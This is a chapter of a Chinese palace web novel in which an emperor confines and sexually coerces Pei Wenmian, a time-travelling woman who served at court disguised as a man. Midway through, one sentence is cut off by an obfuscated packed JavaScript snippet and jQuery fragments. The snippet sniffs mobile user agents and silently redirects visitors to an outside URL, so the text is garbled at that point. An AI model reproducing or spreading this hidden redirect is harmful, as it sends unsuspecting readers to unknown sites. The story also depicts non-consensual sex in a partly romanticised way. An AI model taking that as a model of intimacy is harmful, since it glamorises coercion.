水晶帘里玻璃枕,暖香惹梦鸳鸯锦。
帐内犹生香,那人容颜清冷,黛眉轻蹙,朱唇微破,雪腻肩头点点红痕,薄被掩住了大半风光。
日上三竿之时,裴文冕方渐渐转醒,忽视那点不适,睁眸发呆。
宫人捧着托盘鱼贯而入,一时看呆了,“奴婢们伺候您梳妆。”
这世上,竟还有这样好看的人。一眼望去,此生再难相忘。
裴文冕冷声道:“下去。”
宫人面面相觑,恭声应喏,将一应服饰有序放下,福身就要告退。
外间忽得走来一两鬓微霜嬷嬷,老目锋锐,几个宫人唤了声“周嬷嬷”,遂就四散在榻前立着,再不提出去的事。
周嬷嬷不苟言笑,唇抿成一线,嗓音一板一眼,“陛下吩咐过,您不能出去。”
裴文冕闭眸:“尔等在此,我亦不更衣。”
身上的星星点点,是他留给她的耻辱。与他的人裸裎相对,裴文冕绝不接受。
周嬷嬷冷眼旁观:“您不出去就成。午时老奴再来送膳。”
出了殿,宫女小声问:“嬷嬷,我瞧着贵人不大对,可要遣人送信给陛下?”
“陛下是谁,她又是谁?”周嬷嬷冷笑,“男人堆里出入,与那么些人不清不楚,陛下肯屈尊宠幸,已经是给她情面。”
裴文冕睁眼闭眼,脑中都是昨夜昏昏的烛火和闪烁的人脸,耳边是风雨之声,和那老嬷嬷冷嘲热讽的话语。
那张模糊不清的脸渐渐清晰,掠过与梅姐姐几分相似的五官。
裴文冕猛地喘气,满身大汗,眼底遍布血丝。
一整天里,她都只是披好了自己的衣裳,怔愣着。
夜里,帝王再回到殿中,整座大殿都黑漆漆一片,不见一星火光,沉眉问:“你们就是这样伺候主子的?”
周嬷嬷带着宫人们行礼,“陛下,实不是老奴们阳奉阴违,只是那位大人不许我们点灯,送去的膳食也一应未动。”
她保持着行礼的动作,迟迟未听到那句起身。周嬷嬷是先皇后身边的老人了,在帝王面前一向得脸,还从未受过如此冷遇。
赵公公落后一步,一甩浮尘,急切道:“哎哟周嬷嬷,你老糊涂了。这位的事,无论大小,统统都要放在心上。”
周嬷嬷脸色一白。
随侍帝王的宫人次第入殿,连枝宫灯接连亮起。
帝王深邃的眸光钉在角落里,躬身抱起裴文冕,看她眼睫微颤。
“朕听说,你今日除了叫水沐浴,未用过任何吃食?”
他不轻不重地揉捏着裴文冕纤细修长的手,宛如上等美玉,触手生温。
裴文冕冷眸淡漠:“不干你的事。”
“赵福全,摆膳,”帝王吩咐过,便凝眸俯视裴文冕,见她挽在脑后的满头青丝已被他揉乱了,轻笑问,“妆奁何在?”
宫人捧来一只只精美的朱漆匣,揭开匣子,里面放着各式各样熠熠生辉的簪佩。
帝王随手拿起一支双股金簪。宫廷御品,自是华美至极,但他从未想过,文冕这样清冷的性子,戴上宫里张扬的金簪,也别有一番冷傲在。
裴文冕闭眸,任他打量,眼尾一片滞涩。
粗粝的手触在额上面上,无不提醒着裴文冕,他早就不是当年那个十五岁的小少年了。他的触碰里,饱含男女之间的迷恋和欲求。
帝王指腹抚过裴文冕光洁额头,笑道:“这儿可有饰物?”
他看那些臣子家眷,无论是夫人还是小姐,额上发上衣上腕上所佩无不讲究。从前不觉有甚,甚至觉得索然无味的事,放在文冕身上,却又如何都不够。
宫人道:“有额黄、发链……”
帝王道:“朕自去看。”
他走了,裴文冕靠在椅上,张口兀自呼吸。她从未想过,有一日在帝王面前,她竟连呼吸都艰难。
若是梅姐姐在……
裴文冕一阵羞愤难堪,仰脸,白皙的脖颈上青筋微浮。
额上一凉,帝王去而复返,将一片落日熔金般色泽的菡萏额黄贴上,狭长眼眸微弯,凤目深藏一抹惊艳。
“文冕,你美极了。”
怨不得,父皇广寻天下美人时,即便文冕已扮作男子,母后还是要将文冕藏在未央宫中。
幸而有母后为他护着文冕,这才让他被贬西北时有人愿以命相护,也让他御宇之后能得如此绝代佳人为伴。
裴文冕偏头,唇擦过帝王指尖,啪地拂开他的手,面上隐现屈辱。
帝王脸色沉下,“退下去。”
“喏。”宫人不敢多看,悄无声息地退下。赵公公守在殿门口,对满脸踌躇的周嬷嬷一摇头,“备水伺候吧。离远些,莫听了不该听的、看了不该看的。往后可要长着眼,你那些昔日情面,在这位面前,可是一根头发丝都比不上。”
周嬷嬷心下大惊,“多谢公公告知,老奴必定谨记。”
帝王拿起一只青釉莲叶纹描金碗,仰脖灌下一口参汤,一手扼着裴文冕后脑,贴唇渡去。
就这般,在裴文冕愤恨的视线里,不紧不慢地渡完了一碗参汤。
以指拭去裴文冕唇边水渍,帝王道:“你求荣华富贵、安稳度日,朕给你的,难道不比父皇母后多吗?为何就这般顽固,不知来讨好朕呢?”
裴文冕攥紧袖边,“多年生死相依,在您眼中,臣便只为沽名钓誉?臣之清贫,有目共睹,您这般说,不觉得可笑嘛!”
帝王悠然道:“那是从前,你总给朕难堪。如今自然大有不同,朕不会任由你继续清贫下去。”
裴文冕不记得她有给过他难堪。是因为她从前扮作男子,给他添了堵吗?当真可笑。
“不必了。您就是给臣泼天富贵,臣也不会留在宫中。不义而富且贵,于我与浮云。”
“不义而富且贵?”帝王眸中一冷,“你又待如何?这般走出去,叫人都知道你裴大人爬了朕的龙榻?还是让世人都看看,堂堂裴大人,如何走出禁廷便变作女子?你有得选吗?”
裴文冕额角隐隐作痛,胸腔也发酸发涨,“我还不至于爬你的榻。事实如何,没人比你更清楚。若不是你拿旁人作筏,我又何至于隐忍至此?”
这是裴文冕第三次见帝王露出这般冰冷的神色。
第一次是裴文冕初随先皇后入未央宫,帝王还是受尽宠爱的太子,在裴文冕悬石练字时驱散了宫人,冷冷地威胁她滚出未央宫,再不许出现在先皇后身边。
第二次,帝王已被废除太子之位,先皇后托孤,逼着他跪在裴文冕面前,又是磕头又是唤亚父。
而这次,帝王冷着脸,攥着裴文冕腕骨的手不断收紧。
裴文冕被他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323170|183185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
强硬带到柔软的榻上,未来得及哀戚,便听到他冷酷的嗓音。
“旁人是谁?苏、郑二人,那些不成器的新官,亦或是,母后?”
自回京后,文冕待苏、郑二人以师礼,亲密几度越过他去。待那些年轻官员,亦是亲厚有加。母后更不必提,每每文冕或笑或哀。定是因母后而起。
唯有在这种时刻,文冕待他,才会露出一星半点除冰冷以外的神色。
哪怕裴文冕就此恨上他,帝王也并不后悔。只要文冕待他不同,哪怕是恨,也比见了他只冷冷扫过一眼地好。
他要裴文冕此生,再不会对他露出长者对晚辈的,怜爱中带有慈和的神色。
一日一夜几乎不曾与人言语,裴文冕已是疲累至极,眼底泛红,“你将他二人如何了?”
“是你陷害他们,是与不是!”
帝王冷笑,探入裴文冕衣襟,唇齿贴上裴文冕细白脸颊,“你不是在猜么?”
红烛背,绣帘垂,春情狂乱,星稀钟歇。
裴文冕颊下青丝濡湿,山枕滑腻,朱唇印出齿痕,闭眸咬牙,咽下破碎声响。
不愿低头,不愿直视,更不愿去想那人是谁。
攀弱柳,折寒梅,帝王低首张唇,沿起伏蜿蜒而下。
叩玉关,觅清泉,自是俯仰天恩。
裴文冕何曾受过此辱,身旁绣褥都攥出褶皱,艰难睁眸触到枕侧漆匣,纤指方才抬起丹匣一角,未及砸出去,恰见那人自膝间仰脸。
金冠朱缨带,烛火下映出一片刺目金光。薄唇润泽,如玉的脸庞,与故人何其相似。
百般心绪冲上心头,近乎冲破胸腔,裴文冕霎时阖目昏了过去。
翌日醒来,身上衣物自然换过,宫人捧着热气腾腾的膳食过来。
原以为要好生劝说一番,这位才肯用膳。不曾想这人只是呆呆望了床帐一刻钟,便踉跄着起身盥洗。
宫人含泪道:“大人,再擦下去,脸都要破皮了。赵公公来了,奴婢们要挨板子的。”
裴文冕长呼一口气,顿住,将巾帕掷入铜盆,激起阵阵水纹。
“还要做什么?”
这冷淡的嗓音,在宫人耳中,如闻天籁,感激道:“大人用些膳,可好?”
裴文冕未语,慢步落座,只捡着离得最近的膳食吃了几筷子,用了些清粥小菜,再食一只水晶虾饺,问道:“昨夜谁为我更衣?”
宫人摇头,“奴婢不知。太医走后,陛下召我等服侍大人,大人就穿着这身衣裳。”
裴文冕心内冷笑,面无表情又舀了口粥。久未进食,不宜过多,裴文冕很快就放下碗筷,但对宫人来说已经是欢天喜地。
“陛下在何处?”
昨夜一桩桩一幕幕,影影绰绰浮现在眼前,最终定格在那张映在璀璨金光中的脸上。
自今日起,裴文冕再不会将他与梅姐姐联系到一处了,更不会愚蠢到为此不顾惜自己的身体。
权势富贵,此间一切,皆不如现代一粒尘土令人心安。裴文冕决不会放弃回到现代,无论为此付出什么代价。
宫人不敢窥伺圣踪,遣人去寻赵公公,得了信回道:“陛下在养心殿,您要去么?奴婢这就去备轿辇。”
望着宫人殷殷切切的眼眸,裴文冕淡然摇头,“不必了。”
该来的,自然会来。